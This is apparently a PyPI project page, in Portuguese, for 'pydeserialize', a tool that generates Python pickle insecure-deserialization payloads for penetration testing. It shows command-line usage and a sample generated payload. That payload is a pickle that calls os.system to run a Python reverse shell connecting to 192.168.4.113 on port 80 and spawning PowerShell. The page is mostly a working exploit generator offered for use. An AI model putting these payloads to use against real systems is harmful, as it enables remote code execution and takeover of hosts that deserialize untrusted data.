Skip to main content

Desserialização insegura em python

Project description

Typing SVG

Tool for testing python insecure deserialization vulnerabilities

FeaturesInstallHow to useUsage


O pydeserialize é uma ferramenta que gera payloads de desserialização insegura em python. Possui uma funcionalidade que faz encode das payloads desejadas e dessa forma sendo simples e otimizada para velocidade. pydeserialize é construído para fazer apenas uma coisa - gera payloads de desserialização insegura + encodes e faz isso muito bem.

Projetei o pydeserialize para cumprir todas as responsabilidades para gera payloads e encodes, mantive um modelo consistentemente passivo para torná-lo útil para testadores de penetração.

Características

  • Gera payloads para explora vulnerabilidades de desserialização insegura em python

Forma de utilização

pydeserialize -ip 192.168.4.113 -p 80 -e shell -o Windows
pydeserialize -ip 192.168.4.113 -e b64 -p 80 -o Linux

Isso exibirá a ajuda para a ferramenta. Aqui estão todos os switches que ele suporta:

           _                 _     _ _         
 ___ _ _ _| |___ ___ ___ ___|_|___| |_|___ ___ 
| . | | | . | -_|_ -| -_|  _| | .'| | |- _| -_|
|  _|_  |___|___|___|___|_| |_|__,|_|_|___|___|
|_| |___|  
     v0.0.9 - @joaoviictorti

options:
  -h, --help            show this help message and exit
  -ip IP                Insert ip
  -p PORT               Insert port
  -e {b64,shell,urlencode,hex} Insert encoding
  -o {Windows,Linux}    Insert operational system

Instalação

pydeserialize requer python3 e para baixá-lo só usar:

pip3 install pydeserialize

Executando pydeserialize

pydeserialize -ip 192.168.4.113 -p 80 -o Windows -e shell

           _                 _     _ _         
 ___ _ _ _| |___ ___ ___ ___|_|___| |_|___ ___ 
| . | | | . | -_|_ -| -_|  _| | .'| | |- _| -_|
|  _|_  |___|___|___|___|_| |_|__,|_|_|___|___|
|_| |___|  
     v0.0.9 - @joaoviictorti

b'\x80\x04\x95\xf9\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\xe1python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.4.113",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("powershell")\'\x94\x85\x94R\x94.'

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pydeserialize-0.0.9.tar.gz (3.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

pydeserialize-0.0.9-py3-none-any.whl (5.3 kB view details)

Uploaded Python 3

File details

Details for the file pydeserialize-0.0.9.tar.gz.

File metadata

  • Download URL: pydeserialize-0.0.9.tar.gz
  • Upload date:
  • Size: 3.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.2 CPython/3.11.4

File hashes

Hashes for pydeserialize-0.0.9.tar.gz
Algorithm Hash digest
SHA256 ede5042f20e0359bfad50825f38a56161798f95eb6b454d44c8447aab4e4251e
MD5 335bf6510e3dbf7acf91cbc65e75f636
BLAKE2b-256 ecbe2391eab740b935443334ac3cb17fd4f88d7d04df996508d487de1b4f1f3e

See more details on using hashes here.

File details

Details for the file pydeserialize-0.0.9-py3-none-any.whl.

File metadata

  • Download URL: pydeserialize-0.0.9-py3-none-any.whl
  • Upload date:
  • Size: 5.3 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.2 CPython/3.11.4

File hashes

Hashes for pydeserialize-0.0.9-py3-none-any.whl
Algorithm Hash digest
SHA256 3810b8cce839eb44c10940850aea03cf2903984c0a1efdb234fe5bca1f6f4b53
MD5 8c2c621cc7646134e51d5584101964af
BLAKE2b-256 890b8739a29ad3eb9f1becb6d42ea8683379cd5a1f4ae88aa585dfd94ba4d697

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page